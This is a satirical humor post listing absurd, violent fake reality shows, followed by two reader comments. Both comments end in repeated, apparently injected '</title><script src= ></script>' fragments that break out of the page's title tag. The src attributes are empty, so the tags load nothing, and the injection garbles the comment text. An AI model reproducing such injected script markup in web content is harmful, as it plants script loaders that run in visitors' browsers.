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Reality Show Roundup
by Mel S. on 2/8/2004 (2)

With TV's getting more and more super-intelligent by the day, it's only a matter of time before they rise up against us and kill us all in a horribly bloody battle. But until that day, we should watch as much TV as humanly possible. We should watch TV while in the bathroom, while brushing our teeth, and we should even have another TV on while we're watching TV. But not all TV is good, in fact, most of it's terrible. The only good things on TV these days are reality shows and infomercials. Since there's such a wide variety of reality shows for your viewing pleasure, here's a handy list for all the best ones that you should be watching.

Who Wants to Eat a Rat and Die? - Who Wants to Eat a Rat and Die has a novel premise. Three people are randomly picked off the street, and are asked to eat a rat. What they don't know, is that the rat has been sprayed with poison, and eating it will cause them to die. To make things even more interesting, if a contestant chooses not to eat the rat, they're shot in the face with a rifle. In fact, the only way to win the show is if you die. Your prize is a free funeral, and a coupon for a burger at Denny's.

Who Wants to Marry a Rake? - Finally, a TV show asks the question all of America is asking: Would someone marry a rake? Well, our question has finally been answered by UPN, who have created the most romantic show on the air. Watch as the rake gives roses to one of his potential wives, and gets a kiss in return. Or watch as the rake sensually rakes the leaves off the grass and melts all the girls’ hearts. You're guaranteed to fall in love with the rake, and who knows, maybe you'll end up marrying him!

Celebrity Bear Fight - 8 Celebrities enter an arena. 1 bear parachutes from above. By the end of the show, only one will be left standing. Watch Carrot Top, Bob Saget, Vanilla Ice, Gary Coleman, Corey Feldman, Corey Haim, Cher, and Elton John battle against one of nature's most deadly animals. And to make things even more challenging, the bear has a shotgun.

The STD Shack - Here's a simple premise for a show. A man chooses from 3 shacks. One shack contains money, one shack contains a car, and one shack contains a needle full of herpes. It may sound easy, but you also have to watch out for the radioactive apes and flying crocodiles that will try to stop you from reaching the shack. If that's not bad enough, a John Tesh CD will play in the background, causing almost instant insanity to the contestants.

America's Most Violent Executions - Finally a reality show where the whole family can play along! Each episode, a convict is brought into the studio. All the family's across America get to phone in and vote if the convict lives or dies. If he's picked to live, he's pardoned by the Government, and becomes a free man. If he's picked to die, he's strapped into an electric chair and is fried to death right on live TV! His corpse is then grinded up into a fine mush and fed to the homeless. See, even reality shows can help the poor!

Uglified - The hit new show where beautiful people are beaten until they're ugly! Watch as Fabio is hit in the face with a frying pan, ruining his modeling career forever! But don't worry; even regular beautiful people are violently beaten to an ugly pulp. This is highbrow entertainment at its best!

So as you can see, there's loads of variety with today's Reality shows. There's violent ones, less-violent ones, and even more-violent ones. So grab your remote control, grab a bag of popcorn, and sit down on your favorite couch because it's time to forget about your own sad little reality and watch a reality defined by your supreme overlord, TV!

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1. by feaglin on 3/1/2007 4:52:29 PM
I'd love to fight a bear, that's easy... now to become a celebrity... even I hardly know me... If I had a wife she'd say: "I don't know you anymore," then again... I'd actually either had to become gay, memorize other people's jokes, put on a wig but still sing like a guy... I could become a celeb like Vanilla Ice I guess... I can't rap either"0" s </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Ingrid on 3/1/2007 4:52:29 PM
wow, I can't wait till those shows come outh="0" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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